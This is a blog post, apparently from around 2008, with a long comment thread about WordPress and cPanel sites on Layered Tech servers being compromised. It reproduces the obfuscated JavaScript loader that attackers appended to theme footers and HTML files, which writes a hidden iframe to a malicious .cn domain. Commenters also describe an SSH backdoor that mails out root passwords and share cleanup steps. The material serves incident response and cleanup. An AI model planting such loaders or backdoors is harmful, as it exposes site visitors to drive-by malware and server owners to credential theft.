Bugs, Viruses, Backups, and prevedvsem123.cn
If you're new here, you may want to subscribe to my RSS feed. Thanks for visiting!
Updated: A Note Before You Read On
I don’t know the source of this virus currently. All I know is that everyone I have talked to so far that has this issue has been on a Layered Tech box, either directly, in the case of Woopra or through resellers. I have not found any other information of it effecting other hosting providers yet.
But I am only stating what I know to be true and trying to help people stop it on their own because god knows that these support desks are going to have their hands fulls.
Issues like this could be the result of third party scripts that run the server and be unconnected to the host itself.
The Purpose of This Post
I starting playing around with the internet right around 1998. I started playing with code and servers about 5 years ago. Anything can be learned in the field. Just use the power of search and follow instructions well. That is all you really have to do if you are required to be tech guy as well as a blogger.
The rest of the post may be boring at times, but it illustrates a troubleshooting process that may be useful for collecting the data you need if the problem becomes more than you can handle.
Use search. Any error message, window title or url can be used to track down the problem on the search engines.
The term I used to track down anything on my issue was “prevedvsem123.cn”, a url the iframe redirected my blogs to. At the time of my search I only found three references:

How to Protect Your Blog
The Fort Knox method never worked much for me. If you have Fort Knox worthy information outsource it’s storage to someone who knows what they are doing and does it for a lot of people and is insured.
The longer your site is online, the better chance you have of falling prey to any various attack. Most are not targeted and are widespread because they travel with various web apps and addons. You should probably not even consider the question of if. You need to focus on when.
The alternate route is having enough backups to cure you of paranoia. And then going through it once or twice and coming out virtually unscathed. The initial choice that made quick rebuilds possible was a common CMS like Wordpress. The tools I use for this are listed below:
- SyncBack - Freeware to schedule ftp file backup. Not really needed if you build your site on your home computer first and upload from there. But I save the wp-content folder which houses themes, plugins and uploads. I all save wp-config.php. The rest can go. I can replace it with the latest version of Wordpress. This mirror is also backuped regularly onto a portable hard drive using SyncBack.
- The Wordpress Database Backup Plugin - This plugin sends a daily database backup to Gmail.
- Gmail - A buttload of storage makes Gmail a good place to archive things. I can delete all the old mail if I ever get worried.
- Thunderbird - I also store the last week of backups of each of my Wordpress databases in a local Thunderbird folder.
Rebuilding consists of importing your last wordpress backup file into a new database, if needed. This is easily done through phpMyAdmin, but I didn’t have the luxury of that this time. And if you have no idea what PUTTY is, use SQLyog to connect to the remote database.
Install Wordpress for your blog. I always use one-click installs for this part. It is much easier and the updates are usually one click after that. Cpanel has Fantastico and Dreamhost has one-click installs.
Once that is done, upload your ftp backups of the wp-content folder and the wp-config file. A free FTP program like FileZilla will do.
I usually give it an hour. A few times because of host differences, plugins that worked on one server did not work on a new server. And a few times, I couldn’t import the whole mysql backup for one reason or another. But I could see it finished in about 15 minutes
Let them attack and don’t worry about it. You may want to really check your wp-content folder because that would be about the only way into your new installation.
The First Signs of Attack
Three blogs down, but not all the blogs on the server. Two blogs were showing this error:
Fatal error: Call to undefined function require_wp_db() in wp-settings.php
From what I can tell, an error like this usually happens when a file is missing from a Wordpress installation or it has been edited incorrectly.
The solution: reinstall Wordpress. But the problem was not over. I could see my site, but it was acting strange.
What I Discovered on My Blogs
On random page loads at my blogs, I would get a redirect to:
prevedvsem123.cn/25/getfile.php?f=vispdf
and pop up that tried to open a incorrectly created PDF file.
So I looked at the source. At the very bottom was this:
<script>var source ="=jgsbnf!tsd>(iuuq;00qsfwfewtfn234/do0360joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?";
var result = ""; for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); document.write(result); </script>
Sometimes once, sometimes twice depending on which blog I was looking at. There was then an extra body and html tag, like the thing was just tacked on the end. I could only find this codes on the page loads that would not redirect, because when it did, I was obviously on another site by the time I had a chance to view the source.
The vispdf part of the url refers to a script that creates pdf files and explains at least the reason why Adobe opened up and told me I had tried to open a file with the wrong extension.
From what I can tell, that script wrote this to the bottom of my page:
<iframe width="1" height="1" frameborder="0" src="http://prevedvsem123.cn/25/index.php">
And Inside Cpanel
I found the same javascript loader inside of my cpanel control panel. I checked the source. It also had been randomly loading the email form mentioned above.
If you followed the link to Woopra, you will find that two commenters jayson and roo mentioned having their sites hosted on Layered Technologies, where my server and Woopra’s server is located. I don’t screw with the directories in my host other than regular web files. And there is no way I could have inadvertantly added javascript to Cpanel. This is out of my hands.
I am not saying that Layered Tech is at fault. Anyone with the same issue using another host chime in. It will help track it down to a possible security flaw in a script.
The Cpanel installation folder is /usr/local/cpanel/. I decided to investigate. Not change anything. Just to see. In that folder I found a file: “ExampleModule.test.html”. The following is the contents of that file. What triggered me to look at it was the date. It was yesterday.
<html>
<cpanel ExampleModule="printfile(/proc/cpuinfo)">
</html><html><body>
<script>var source ="=jgsbnf!tsd>(iuuq;00qsfwfewtfn234/do0360joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?";
var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); d
ocument.write(result);
</script></body></html>
Then I started looking at some of the other html files in the folders, but there were a lot of folders. I found the same code at the end of htdocs/index.html. I am not sure where to go from here, but I know I never touched these files and am not sure who could have.
And it hit more than that in cPanel. Currently I cannot access phpMyAdmin and get this error:
Parse error: syntax error, unexpected ‘<’ in /usr/local/cpanel/base/3rdparty/phpMyAdmin/libraries/common.lib.php on line 643
This got me thinking and I went to one of my Wordpress installations and found that the footer.php file had been rewritten with the same code at the bottom. Three blogs so far found with the footer of the theme file change in the exact same way. But only the footer and only the active themes.
No clue where to go from here other then to remove what I can from my files and wait it out. I have removed the code from my themes and will watch for anything else. A script had to do some sort of mass appending of this javascript to the end of the files. As far as I know, it is still some where. Layered Technologies and resellers needs to figure out what’s up on their end or I may just have to move to my own server with Dreamhost who I have had a standard account with for a few years now.
And that is what I call a roadblock. They will happen. Many times, two or three at the same time. About the only way to look at it is from the point of view of a stoic. One step at a time. It’s done when it’s done. No need or reason to get angry because that will only slow things down. And approach as an investigator to give you a little bit of the detachment you may need to keep from reminding yourself that you are working on your own livelihood.
![Reblog this post [with Zemanta]](http://img.zemanta.com/reblog_e.png?x-id=d644dd71-0618-4dc6-807a-4e4325f4a899)


Stephan:
cat /etc/redhat-release
That gets your general CentOS version.
John:
Interesting, I found an /sbin/shs script (but not /sbin/misc). I’ve deleted it (after having to use chattar), but it’s also not actually running as a process as far as I can tell.
Stephan, just as an aside, I might be perhaps one of the few LT customers who did NOT contact LT about this. I had no idea this was an LT-wide issue until I read the comments on this blog post. I’ve dealt with everything myself.
@Delphy
I go through a reseller and contacted them yesterday. So as far as that goes, I did the same just not as intensive as the rest of you guys. This site is on that server. I started to get the feeling I was fiddling while Rome burned so I contacted them, but that seems to be the only thing that works right now, waiting it out. Then again, all of the sites here are my own or free for users, so I don’t have anybody beating at my door, just income at stake if it goes down again.
Delphy, I think its running only them someone using it. Do you trying to open it with notepad or something else? It contains info about rootkit.
What OS installed on your server?
Also I found shell in file backup.php located on one of my sites. Try to search this file too.
I don’t know, how hackers installed that shit on my server. Where are few possible reasons at this moment:
1. Root password was stolen (from my computer with some virus
or from LT, but I don’t know, have they users root info or not.
2. Cent OS.
Well, another long day ahead…. at 7:14am today our production server was hit again. Attack this time was even more complete than the first. ugh
The iframe has a new url now. I just got hit again.
u1-hu1.cn/counter/getfile.php?f=vispdf
Sorry guys. I lost contact with my server last night and decided just to give up, move to a server I didn’t have to worry about each second. So I lost about 20 comments or so on this post. Once I get access to my old server, I will add the comments and find the missing pictures.
Well, that was a catch 22. In order to get access to my files, I had to do an O.S reload. So I guess those are lost. Man, what a cluster. I will learn to use Flickr for images more often and start saving emails in my trash longer. I could have rebuilt the comments from there. I did track this down throught my history though. It’s Delphy’s Instructions on cleaning your server.
http://www.delphster.net/scripts/cleanup.txt
Hi Stephan,
I have been paying attention to your blog and I have to say Delphi helped but the second time around to hack changed the way it inserts the javascript. One thing I did notice was that the had a space in between, almost defeating the purpose of find replace which is what I initially did before finding Delphi’s fix. I have moved to a new company, they have managed servers and they are amazing! http://www.scarabweb.com is the site, they have been nothing but amazing with the transfer and cleanup of our server. We have about 10 WP blogs and others scripts such as SMF, Modern Billing for our billing and they have been cleaning it out all day today. I hope everyone just bails out on LT and finds a company that actually cares about the security of their clients. We did not feel safe with them even though our initial support contact was a reseller. This hack is nothing to laugh about and I really hope this doesn’t happen again to legitimate businesses such as ourselves.
Hi, guys. Some news:
Changing root password not cure, because they have backdoor in your servers.
Some shit located at /dev/ssh root password located in backdoor.h its not crypted, so you can see it in notepad.
This shit cange /etc/ssh/sshd_config and compiling ssh with virus. If you change password it send new pass to hackers email.
At first you must recompile ssh, but I still dont know how they hack servers.
Hey Stephan,
Thanks for this post. I have a dedicated server on Layered Tech and found that my root pw had been compromised and the malicious code:
[html] [body][script]var source =”=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?”; var result = “”;
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); [/script]
[/html] [/body]
Had been placed at the bottom of all of my html, htm, php and tpl files. Guess this is just the incentive I needed to make the move I’d been planning to a new server…
Anyhow, considering I have a very large customer base that was affected, I brought in the help of some developer friends and we worked out a really comprehensive cleanup script that’s perl-based. Here’s the code:
http://pastie.textmate.org/299801
You’ll need to do the following from the command line logged in as root:
1. Copy/paste the code above into a file called cleanhack.pl and set its permissions to 700. (chmod 700 cleanhack.pl)
2. Type: find START_PATH \( -name ‘*.html’ -o -name ‘*.php’ -o -name ‘*.htm’ -o -name ‘*.tpl’ \) -exec /PATH/TO/cleanhack.pl {} \;
Where START_PATH is the root directory you want to start with. For example: find /home/ \( -name … This script is recursive.
3. The script will parse through all of your files and clean out the malicious code and it can be run multiple times (in case you get dropped from your server), giving you feedback from the command line that looks like this:
/home/sample/user/test_file.php: Infected. Now cleaning…OK
Hope this helps!!!
So far, I’ve done an OS reload, and a full reconfiguration of my setup (took a long time), and all sites (except one drupal site that is a nightmare). Also changed EVERY password for every account.
After RE-OS, new passwords, and a new Drive, am I still vulnerable?
Same question as Jeremy - After re-os, new passwords and a new drive, can i still get attacked? John, did you reload yours?
Also, any thoughts on how we can avoid this for future?
Thanks!
Looks like the problem was originated from a vulnerability on the Layered Tech Help Desk…
Here is the email I just received from LayeredTech:
[PLEASE READ]
Dear Layered Tech Customer ~
As a result of a routine internal security analysis, a vulnerability was detected which allowed certain communications between the Layered Tech help desk and clients to be vulnerable to interception. While normal help desk communications are not a source of concern, occasionally LT clients submit unencrypted passwords via e-mail or the help desk ticketing system which could result in unauthorized system access by 3rd parties.
As a result, we strongly advise all customers to take proactive measures and change user and system credentials.
Given the overall industry rise in security issues, it is best to err on the side of caution and maintain robust security procedures. Layered Tech also recommends the following security practices:
1) Always change passwords after sharing them via e-mail, or upon receipt of new system login details.
2) Ensure that you have a defined interval for password changes (every 30, 60, or 90 days)
3) Disable/remove non-essential applications, services, and user accounts
4) Set regular maintenance intervals to update core applications and kernels, to address known security issues
5) Change default ports for administration and remote access to non-standard so they are not easily identifiable
We value your business, and will continue working diligently to safeguard against any future vulnerabilities. Please note that SSL is now required to access the LT help desk system. Clients who are unable to gain access to the system should contact our Client Services team.
Should further information become available following our extensive security review and analysis, we will update you.
Thank you,
Layered Tech, Client Services
accounts@layeredtech.com
(866) 584-6784 or (972) 398-7000
I rent a dedicated server from LT and got hit by this too. I use the server only for hosting static HTML pages and storing files, so the hack must have spread from elsewhere on LT’s network. None of the cleanup scripts above worked for me, so try this one I whipped up:
http://pastebin.com/f5f7b369e
Layeredtech Important Security UPDATE!!!
Just got off the phone, with Layeredtech guys and they still trying to push the problem to us as a Self managed problem when in reality its THERE problem. Layeredtech sent out a notice I attached to the bottom of this message below.. Well I for one got hit hard on this one and started calling other hosting companies and found Server Beach is more then willing to step up and make an offer to help anyone in the same situation we were in.
I talked to Roger Gonzales who is a Sales Manager at Server Beach and explained our problem and asked if he could help us move from Layeredtech and he is able to give 30% a new server with them to those effected or who has had it with layered tech not taking proper action in this and admitting there mistakes.
After we did that about 15 of our friends who also host at layered tech wanted the same deal, so here is the deal in case others wanted to follow suit you willhave to provide a invoice from layeredtech for the 30% off deal, and contact
Roger Gonzales
(Reference CHAD GRAY = Layered tech problem)
Sales Manager
ServerBeach
A Peer 1 Company
1-800-741-9939 Option 3
T: 210.798.4418
Roger@ServerBeach.com
Or
If you do not have a Layeredtech invoice then you can put in this referral code J76QAET8MR to get a discount but I would advice you call Roger and explain you read this, and you from layered tech to make sure he knows you suffered too cause 30% off a full server setup is pretty good deal we managed to get more server for out money on this, so there is a sliver lining to this cloud layeredtech did.
this is really ashame, I really liked Layeredtech and been with them for many years but with there massive price hike and not taking credit for there clear lack of security and plamming it on us…not securing our private information that’s enough to warrant us to move or seek a new provider. There is also a LARGE chance our credit cards were accessed in this breach of the help desk script, layeredtech was using. God only knows what other info had been stolen. We not taking a chance and we moving…
Good luck to all,
Chad
——————————————————————-
Dear Layered Tech Customer ~
As a result of a routine internal security analysis, a vulnerability was detected which allowed certain communications between the Layered Tech help desk and clients to be vulnerable to interception. While normal help desk communications are not a source of concern, occasionally LT clients submit unencrypted passwords via e-mail or the help desk ticketing system which could result in unauthorized system access by 3rd parties.
As a result, we strongly advise all customers to take proactive measures and change user and system credentials.
Given the overall industry rise in security issues, it is best to err on the side of caution and maintain robust security procedures. Layered Tech also recommends the following security practices:
1) Always change passwords after sharing them via e-mail, or upon receipt of new system login details.
2) Ensure that you have a defined interval for password changes (every 30, 60, or 90 days)
3) Disable/remove non-essential applications, services, and user accounts
4) Set regular maintenance intervals to update core applications and kernels, to address known security issues
5) Change default ports for administration and remote access to non-standard so they are not easily identifiable
We value your business, and will continue working diligently to safeguard against any future vulnerabilities. Please note that SSL is now required to access the LT help desk system. Clients who are unable to gain access to the system should contact our Client Services team.
Should further information become available following our extensive security review and analysis, we will update you.
Thank you,
Layered Tech, Client Services
notice the “result of a routine internal security analysis” in the email layeredtech just sent out in my post above…yea RIGHT!!!!
thanks to stephanmiller setting up this blogg, without him I would not have been able to quickly figure out this problem and get some of my major sites back online..
-Chad
That script Jesse had messed some scripts up. Honestly, I found that you have to manually do a find and replace on each account. Seems like the hack created a new string for every account. Once you fix permissions, download, f&r, upload seems to fix everything.
I think the fact that we have not had anyone from LT show up here in a while to deny the issue had anything to do with their system is a very good sign of where the issue lies.
I ended up jumping ship because I had a few hosts and my need for a dedicated server has diminished. I used to write code that is now covered in one way or another by open source apps and since my ideas were often better than my ability to write code, I got a dedicated server so I could crash it whenever I wanted.
But ignorance is bliss now. Time for me to back away from the WHM and take some tasks off my plate.
@Laszlo
I would watch just in case. I thought my server was clear and it was for two days and then I got hit multiple times in one day, the day I finally moved this blog and other sites hosted there to a new host.
My server just got hit with exactly the same exploit.
It’s a layered tech server.
I don’t have the managed package so I can’t speak to anyone at Layered Tech.
Layered Tech did not notify me of this issue, and as a result, days after they were first made aware of it, my server was hit.
It seems the exploit is mailing all acount passwords and all root passwords to some address @ymail.com.
I’m frantically trying to backup gigabytes of email of my own, and of my clients, and get them on another server.
They’ve deleted much of my backups which were stored on another hard-drive mounted on the server.
It was the 3rd time i got hit on the LT server and i would be waiting for the 4th hit and after that LT is over for me..I don’t really understand how these big companies take care of their private information..
The root password to the server is being decrypted and mailed out every minute to ymail.com and gmail.com addresses.
Killing exim (or whatever you use to send mail) and then changing your root password may be a good idea for those affected.
Just wanted to see if anyone could answer my question (comment #112)
So far, I’ve done an OS reload, and a full reconfiguration of my server setup (took a long time), and all sites (except one drupal site that is a nightmare). Also changed EVERY password for every account.
After RE-OS, new passwords, and a new Drive, am I still vulnerable?
Found this in my .bash_history, if it helps…
iptables -F
iptables -X
iptables -Z
service sshd start
service network start
service iptables stop
service iptables save
ping 4.2.2.2
ssh 4.2.2.2
[...] a véleményt egy hasonló esetre alapozom, egy angol nyelvű blogon bukkantam rá a Sites and Cpanel Hacked with prevedvsem23.cn cÃmű [...]
I got hit too. LT server. Not a happy camper.
The problem is more widespread than just LT servers. We’ve been hit with something on our servers that sounds familiar to what you guysa re dealing with. We’ve migrated to a brand new server, changes all passwords, removed FTP access, and changed folder read/write permissions and it still keeps coming back. It appends a script to the bottom of every index.*, config.*, main.* and default.* file in our web directory. We also keep removing or changing the “Everyone” account permissions, but they keep reverting back right before the attack happens. We’ve been struggling with this for a week, and nothing we’ve done has worked so far. We’re running windows server 2003.
Just found out our IP is on blacklist with Verizon, Barracuda, this might just have been the virus when we migrated over since it is our new server IP that is being blocked by them. Guys make sure this is not the case with your servers.
OMG, first, virus attack on User Windows, now the web server … … really hope that most of the webhost get ready their antivirus and firewall 24/7 tight and up to date.
Laszlo, I found my IP blacklisted too and went though hell to contact google to find out why come to find out the dates match the same time frame this LT hack hit. Our hosting company had two dedicated server on LT. Is anyone seriously considering a lawsuit over this. I had some serious downtime.
I am glad I found this site..no thanks to LT when I brought up this issue in there forums they quickly deleted it. Which I think it seriously wrong. I am gonna follow the advice of this board and give post 116 Kudos for helping us find another solution. I may call that number and see if they can set me up. Problem is I need the server setup NOW!!! as my clients are freakin out and blaming it all on me.
I will let you all know, if that deal someone posted up above is still working I may go with that one.
Well, it turns out my old IP address was on a few blacklists, but not the new one.
I think the fact that we have not had anyone from LT show up here in a while to deny the issue had anything to do with their system is a very good sign of where the issue lies.And told very well about the purpose of the site it helped me a lot.
Those are my thoughts on LT now.
It was the 3rd time i got hit on the LT server and i would be waiting for the 4th hit and after that LT is over for me..I don’t really understand how these big companies take care of their private information..
Thank you for the tip about “Wordpress Database Backup Plugin”, I knew it existed, just couldn’t remember the name of it. Now I have it installed.. Thanks
I found a very good article on the malicious java code in wordpress blog . The article explains the problem and provides solution . Here it is : How to remove malware from your blog ?
http://www.itoneworldsystem.com/blog/2009/01/03/how-to-remove-malware-from-your-blog/
Hey, do regular backup and do a database md5 on our critical system files eg, cd command, ls etc and everyday check your system against it you would not be worry about anything that go wrong!
Re-installation is the best way to remove malware. However, this is not enough. You have to use a brand-new database too. Some harmful codes are just in your database and they come out when you read the information from you database. But a brand-new database means data loss. That’s really bad and so far there is no perfect solution for this kind of attack.
I rent a dedicated server from LT and got hit by this too. I use the server only for hosting static HTML pages and storing files, so the hack must have spread from elsewhere on LT’s network.
sinemas last blog post..VURU? MESAFES?
I had no idea everyone else was having a problem with this. I didn’t bother contacting LT either. I instead bribed my friend with beer and food + free movies to fix it. After getting him his beer and food he was unsuccessful. Wish I had contacted LT sooner.
destination paradise hawaiis last blog post..Destination Paradise Hawaii - Sunset
I am no longer with LT and have had a pretty trouble free few months.
Thank for your blog, five starts
Thanks for sharing….i very like yours blog
mizwars last blog post..Sony PSP Go, Nintendo DSi Competitor